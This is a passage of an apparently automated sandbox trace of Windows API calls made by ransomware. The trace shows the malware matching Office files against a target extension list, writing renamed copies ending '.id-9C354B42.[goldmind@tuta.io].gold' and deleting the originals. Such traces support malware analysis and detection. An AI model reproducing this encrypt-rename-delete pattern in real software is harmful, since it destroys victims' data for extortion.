Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0115.576] lstrlenW (lpString=".doc") returned 4 [0115.576] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.576] lstrlenW (lpString=".docx") returned 5 [0115.576] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.576] lstrlenW (lpString=".pdf") returned 4 [0115.576] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.576] lstrlenW (lpString=".xls") returned 4 [0115.576] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.576] lstrlenW (lpString=".xlsx") returned 5 [0115.576] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.576] lstrlenW (lpString=".ppt") returned 4 [0115.576] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0115.576] lstrlenW (lpString=".zip") returned 4 [0115.576] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.576] lstrlenW (lpString=".rar") returned 4 [0115.576] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.576] lstrlenW (lpString=".bz2") returned 4 [0115.576] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.576] lstrlenW (lpString=".7z") returned 3 [0115.576] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0115.576] lstrlenW (lpString=".dbf") returned 4 [0115.577] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0115.577] lstrlenW (lpString=".1cd") returned 4 [0115.577] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0115.577] lstrlenW (lpString=".jpg") returned 4 [0115.577] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.577] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0115.577] lstrlenW (lpString="RESEND.CFG") returned 10 [0115.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0115.578] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=779) returned 1 [0115.578] CloseHandle (hObject=0x188) returned 1 [0115.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg")) returned 0x20 [0115.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0115.578] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.578] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0115.580] GetLastError () returned 0x0 [0115.580] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x30b, lpOverlapped=0x0) returned 1 [0115.581] WriteFile (in: hFile=0x3d4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x310, lpOverlapped=0x0) returned 1 [0115.581] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.582] WriteFile (in: hFile=0x3d4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0115.582] SetEndOfFile (hFile=0x3d4) returned 1 [0115.582] CloseHandle (hObject=0x3d4) returned 1 [0115.582] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.582] SetEndOfFile (hFile=0x188) returned 1 [0115.583] CloseHandle (hObject=0x188) returned 1 [0115.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg")) returned 1 [0115.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0115.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0115.585] lstrlenW (lpString=".doc") returned 4 [0115.585] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.585] lstrlenW (lpString=".docx") returned 5 [0115.585] lstrcmpiW (lpString1=".docx", lpString2="D.CFG") returned -1 [0115.585] lstrlenW (lpString=".pdf") returned 4 [0115.585] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.585] lstrlenW (lpString=".xls") returned 4 [0115.585] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.585] lstrlenW (lpString=".xlsx") returned 5 [0115.585] lstrcmpiW (lpString1=".xlsx", lpString2="D.CFG") returned -1 [0115.585] lstrlenW (lpString=".ppt") returned 4 [0115.585] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0115.585] lstrlenW (lpString=".zip") returned 4 [0115.585] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.585] lstrlenW (lpString=".rar") returned 4 [0115.585] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.585] lstrlenW (lpString=".bz2") returned 4 [0115.585] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.585] lstrlenW (lpString=".7z") returned 3 [0115.585] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0115.585] lstrlenW (lpString=".dbf") returned 4 [0115.585] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0115.585] lstrlenW (lpString=".1cd") returned 4 [0115.585] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0115.585] lstrlenW (lpString=".jpg") returned 4 [0115.585] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0115.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0115.585] lstrlenW (lpString=".doc") returned 4 [0115.585] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.585] lstrlenW (lpString=".docx") returned 5 [0115.585] lstrcmpiW (lpString1=".docx", lpString2="D.CFG") returned -1 [0115.585] lstrlenW (lpString=".pdf") returned 4 [0115.585] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.586] lstrlenW (lpString=".xls") returned 4 [0115.586] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.586] lstrlenW (lpString=".xlsx") returned 5 [0115.586] lstrcmpiW (lpString1=".xlsx", lpString2="D.CFG") returned -1 [0115.586] lstrlenW (lpString=".ppt") returned 4 [0115.586] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0115.586] lstrlenW (lpString=".zip") returned 4 [0115.586] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.586] lstrlenW (lpString=".rar") returned 4 [0115.586] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.586] lstrlenW (lpString=".bz2") returned 4 [0115.586] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.586] lstrlenW (lpString=".7z") returned 3 [0115.586] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0115.586] lstrlenW (lpString=".dbf") returned 4 [0115.586] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0115.586] lstrlenW (lpString=".1cd") returned 4 [0115.586] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0115.586] lstrlenW (lpString=".jpg") returned 4 [0115.586] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.586] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.586] lstrlenW (lpString="RESENDL.ICO") returned 11 [0115.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0115.587] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1078) returned 1 [0115.587] CloseHandle (hObject=0x188) returned 1 [0115.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico")) returned 0x20 [0115.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0115.587] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.587] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0115.588] GetLastError () returned 0x0 [0115.588] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x436, lpOverlapped=0x0) returned 1 [0115.593] WriteFile (in: hFile=0x3d4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x440, lpOverlapped=0x0) returned 1 [0115.594] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.594] WriteFile (in: hFile=0x3d4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0115.594] SetEndOfFile (hFile=0x3d4) returned 1 [0115.594] CloseHandle (hObject=0x3d4) returned 1 [0115.594] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.594] SetEndOfFile (hFile=0x188) returned 1 [0115.597] CloseHandle (hObject=0x188) returned 1 [0115.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.597] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico")) returned 1 [0115.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0115.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0115.598] lstrlenW (lpString=".doc") returned 4 [0115.598] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.598] lstrlenW (lpString=".docx") returned 5 [0115.598] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.598] lstrlenW (lpString=".pdf") returned 4 [0115.598] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.598] lstrlenW (lpString=".xls") returned 4 [0115.598] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.598] lstrlenW (lpString=".xlsx") returned 5 [0115.598] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.598] lstrlenW (lpString=".ppt") returned 4 [0115.598] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0115.598] lstrlenW (lpString=".zip") returned 4 [0115.599] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.599] lstrlenW (lpString=".rar") returned 4 [0115.599] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.599] lstrlenW (lpString=".bz2") returned 4 [0115.599] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.599] lstrlenW (lpString=".7z") returned 3 [0115.599] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0115.599] lstrlenW (lpString=".dbf") returned 4 [0115.599] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0115.599] lstrlenW (lpString=".1cd") returned 4 [0115.599] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0115.599] lstrlenW (lpString=".jpg") returned 4 [0115.599] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0115.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0115.599] lstrlenW (lpString=".doc") returned 4 [0115.599] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.599] lstrlenW (lpString=".docx") returned 5 [0115.599] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.599] lstrlenW (lpString=".pdf") returned 4 [0115.599] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.599] lstrlenW (lpString=".xls") returned 4 [0115.599] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.599] lstrlenW (lpString=".xlsx") returned 5 [0115.599] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.599] lstrlenW (lpString=".ppt") returned 4 [0115.599] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0115.599] lstrlenW (lpString=".zip") returned 4 [0115.599] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.599] lstrlenW (lpString=".rar") returned 4 [0115.599] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.599] lstrlenW (lpString=".bz2") returned 4 [0115.599] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.599] lstrlenW (lpString=".7z") returned 3 [0115.599] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0115.599] lstrlenW (lpString=".dbf") returned 4 [0115.599] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0115.599] lstrlenW (lpString=".1cd") returned 4 [0115.599] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO") returned 65 [0115.600] lstrlenW (lpString=".jpg") returned 4 [0115.600] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.600] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.600] lstrlenW (lpString="RESENDS.ICO") returned 11 [0115.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0115.600] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2998) returned 1 [0115.600] CloseHandle (hObject=0x188) returned 1 [0115.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico")) returned 0x20 [0115.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0115.601] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.601] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0115.602] GetLastError () returned 0x0 [0115.602] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0115.603] WriteFile (in: hFile=0x3d4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0115.604] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.604] WriteFile (in: hFile=0x3d4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0115.604] SetEndOfFile (hFile=0x3d4) returned 1 [0115.604] CloseHandle (hObject=0x3d4) returned 1 [0115.604] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.604] SetEndOfFile (hFile=0x188) returned 1 [0115.606] CloseHandle (hObject=0x188) returned 1 [0115.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico")) returned 1 [0115.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0115.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0115.607] lstrlenW (lpString=".doc") returned 4 [0115.607] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.607] lstrlenW (lpString=".docx") returned 5 [0115.607] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.607] lstrlenW (lpString=".pdf") returned 4 [0115.607] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.607] lstrlenW (lpString=".xls") returned 4 [0115.607] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.607] lstrlenW (lpString=".xlsx") returned 5 [0115.607] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.607] lstrlenW (lpString=".ppt") returned 4 [0115.607] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0115.607] lstrlenW (lpString=".zip") returned 4 [0115.607] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.607] lstrlenW (lpString=".rar") returned 4 [0115.607] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.607] lstrlenW (lpString=".bz2") returned 4 [0115.607] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.607] lstrlenW (lpString=".7z") returned 3 [0115.607] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0115.607] lstrlenW (lpString=".dbf") returned 4 [0115.607] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0115.607] lstrlenW (lpString=".1cd") returned 4 [0115.607] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0115.607] lstrlenW (lpString=".jpg") returned 4 [0115.607] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0115.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0115.608] lstrlenW (lpString=".doc") returned 4 [0115.608] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.608] lstrlenW (lpString=".docx") returned 5 [0115.608] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.608] lstrlenW (lpString=".pdf") returned 4 [0115.608] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.608] lstrlenW (lpString=".xls") returned 4 [0115.608] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.608] lstrlenW (lpString=".xlsx") returned 5 [0115.608] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.608] lstrlenW (lpString=".ppt") returned 4 [0115.608] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0115.608] lstrlenW (lpString=".zip") returned 4 [0115.608] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.608] lstrlenW (lpString=".rar") returned 4 [0115.608] 